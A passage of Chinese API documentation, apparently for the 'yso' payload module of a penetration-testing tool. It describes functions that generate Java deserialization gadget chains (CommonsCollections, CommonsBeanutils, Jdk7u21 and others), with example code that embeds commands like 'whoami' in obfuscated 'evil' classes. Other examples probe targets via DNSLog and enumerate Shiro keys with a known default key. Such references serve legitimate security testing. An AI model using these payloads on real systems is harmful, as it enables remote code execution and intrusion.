它首先解析预定义的BeanShell1序列化模板,然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。
cmd:要传入Java对象的命令字符串。
返回:成功时返回修改后的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, err := yso.GetBeanShell1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetBeanShell1JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetClick1JavaObject#
详细描述GetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。
用户可以通过可变参数options
提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数允许用户定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetClick1JavaObject(
yso.useRuntimeExecEvilClass(command), yso.obfuscationClassConstantPool(), yso.evilClassName(className), )
#
定义GetClick1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsBeanutils183NOCCJavaObject#
详细描述GetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。
去除了对 commons-collections:3.1 的依赖。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils183NOCCJavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsBeanutils183NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsBeanutils192NOCCJavaObject#
详细描述GetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。
去除了对 commons-collections:3.1 的依赖。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsBeanutils192NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsBeanutils1JavaObject#
详细描述GetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsBeanutils1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections1JavaObject#
详细描述GetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, err := yso.GetCommonsCollections1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections1JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections2JavaObject#
详细描述GetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections2JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections3JavaObject#
详细描述GetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections3JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections3JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections4JavaObject#
详细描述GetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections4JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections4JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections5JavaObject#
详细描述GetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections5JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections5JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections6JavaObject#
详细描述GetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections6JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections6JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections7JavaObject#
详细描述GetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections7JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollections7JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollections8JavaObject#
详细描述GetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections8JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollections8JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK1JavaObject#
详细描述GetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollectionsK1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollectionsK1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK2JavaObject#
详细描述GetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollectionsK2JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetCommonsCollectionsK2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK3JavaObject#
详细描述GetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollectionsK3JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollectionsK3JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetCommonsCollectionsK4JavaObject#
详细描述GetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollectionsK4JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetCommonsCollectionsK4JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetFindGadgetByDNSJavaObject#
详细描述GetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name,进而探测 Gadget。
使用预定义的FindGadgetByDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。
url:要在生成的Java对象中设置的URL字符串。
返回:成功时返回构造好的Java对象及nil错误,失败时返回nil及相应错误。
Example:
url, token, _ = risk.NewDNSLogDomain()javaObject, _ = yso.GetFindGadgetByDNSJavaObject(url)gadgetBytes,_ = yso.ToBytes(javaObject)使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器res,err = risk.CheckDNSLogByToken(token)
if err { //dnslog查询失败 } else { if len(res) > 0{ // dnslog查询成功 } }
#
定义GetFindGadgetByDNSJavaObject(url string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
url | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetGadgetNameByFun#
详细描述#
定义GetGadgetNameByFun(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
GetGroovy1JavaObject#
详细描述GetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。
这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。
cmd:要设置在Java对象中的命令字符串。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串javaObject, _ = yso.GetGroovy1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)
#
定义GetGroovy1JavaObject(cmd string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJBossInterceptors1JavaObject#
详细描述GetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJBossInterceptors1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJBossInterceptors1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJSON1JavaObject#
详细描述GetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJSON1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJSON1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJavaObjectFromBytes#
详细描述GetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。
此函数使用ParseJavaSerialized方法来解析提供的字节序列,
并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空,
函数将返回错误。如果解析成功,它将返回解析出的第一个Java对象。
byt:要解析的字节数组。
返回:成功时返回第一个Java对象及nil错误,失败时返回nil及相应错误。
Example:
raw := "rO0..." // base64 Java serialized objectbytes = codec.DecodeBase64(raw)~ // base64解码javaObject, err := yso.GetJavaObjectFromBytes(bytes) // 从字节中解析Java对象
#
定义GetJavaObjectFromBytes(byt []byte) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
byt | []byte |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJavassistWeld1JavaObject#
详细描述GetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJavassistWeld1JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJavassistWeld1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJdk7u21JavaObject#
详细描述GetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJdk7u21JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJdk7u21JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetJdk8u20JavaObject#
详细描述GetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。
通过可变参数options
,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。
这些函数使用户能够定制生成的Java对象的特定属性或行为。
options:用于配置Java对象的可变参数函数列表。
返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。
Example:
command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJdk8u20JavaObject(
yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令 yso.obfuscationClassConstantPool(), yso.evilClassName(className), // 指定恶意类的名称
)
#
定义GetJdk8u20JavaObject(options ...GenClassOptionFun) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetSimplePrincipalCollectionJavaObject#
详细描述GetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。
主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。
使用一个空的 SimplePrincipalCollection作为 payload,序列化后使用待检测的秘钥进行加密并发送,秘钥正确和错误的响应表现是不一样的,可以使用这个方法来可靠的枚举 Shiro 当前使用的秘钥。
Example:
javaObject, _ = yso.GetSimplePrincipalCollectionJavaObject()classBytes,_ = yso.ToBytes(javaObject)data = codec.PKCS5Padding(classBytes, 16)keyDecoded,err = codec.DecodeBase64("kPH+bIxk5D2deZiIxcaaaA==")iv = []byte(ramdstr(16))cipherText ,_ = codec.AESCBCEncrypt(keyDecoded, data, iv)payload = codec.EncodeBase64(append(iv, cipherText...))发送 payload
#
定义GetSimplePrincipalCollectionJavaObject() (*JavaObject, error)
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
GetURLDNSJavaObject#
详细描述GetURLDNSJavaObject 利用Java URL类的特性,生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。
这个函数首先使用预定义的URLDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。
url:要在生成的Java对象中设置的URL字符串。
返回:成功时返回构造好的Java对象及nil错误,失败时返回nil及相应错误。
Example:
url, token, _ = risk.NewDNSLogDomain()javaObject, _ = yso.GetURLDNSJavaObject(url)gadgetBytes,_ = yso.ToBytes(javaObject)使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器res,err = risk.CheckDNSLogByToken(token)
if err { //dnslog查询失败 } else { if len(res) > 0{ // dnslog查询成功 } }
#
定义GetURLDNSJavaObject(url string) (*JavaObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
url | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *JavaObject | |
r2 | error |
#
LoadClassFromBCEL#
详细描述LoadClassFromBCEL 将BCEL(Byte Code Engineering Library)格式的Java类数据转换为字节数组,
并从这些字节中加载并返回一个javaclassparser.ClassObject对象。
这个函数首先使用javaclassparser.Bcel2bytes转换BCEL格式的数据,然后利用GenerateClassObjectFromBytes生成类对象。
可通过可变参数options
来定制类对象的特定属性或行为。
data:BCEL格式的Java类数据。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
bcelData := "$$BECL$$..." // 假设的BCEL数据classObject, err := LoadClassFromBCEL(bcelData, option1, option2) // 从BCEL数据加载并配置类对象
#
定义LoadClassFromBCEL(data string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
data | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
LoadClassFromBase64#
详细描述LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。
这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options
来配置生成的类对象。
这些参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。
base64:要从中加载类对象的base64编码字符串。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
classObject, _ := yso.LoadClassFromBytes("yv66vg...") // 从字节中加载并配置类对象
#
定义LoadClassFromBase64(base64 string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
base64 | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
LoadClassFromBytes#
详细描述LoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。
这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options
来配置生成的类对象。
这些参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。
bytes:要从中加载类对象的字节数组。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
bytesCode,_ =codec.DecodeBase64("yv66vg...")classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象
#
定义LoadClassFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
bytes | []byte | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
ToBcel#
详细描述#
定义ToBcel(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
ToBytes#
详细描述ToBytes 将 Java 或反序列化对象转换为字节码
Example:
gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetBytes,_ = yso.ToBytes(gadgetObj)
#
定义ToBytes(i any) ([]byte, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []byte | |
r2 | error |
#
ToJson#
详细描述ToJson 将 Java 或反序列化对象转换为 json 字符串
Example:
gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetJson,_ = yso.ToJson(gadgetObj)
#
定义ToJson(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
command#
详细描述SetExecCommand
command 请求参数选项函数,用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.command("whoami"),yso.useRuntimeExecTemplate())
#
定义command(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
dnslogDomain#
详细描述SetDnslog
dnslogDomain 请求参数选项函数,设置指定的 Dnslog 域名,需要配合 useDnslogTemplate 使用。
addr:要设置的 Dnslog 域名。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useDnslogTemplate(),yso.dnslogDomain("dnslog.com"))
#
定义dnslogDomain(addr string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
addr | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
dump#
详细描述dump 将Java 对象转换为类 Java 代码
Example:
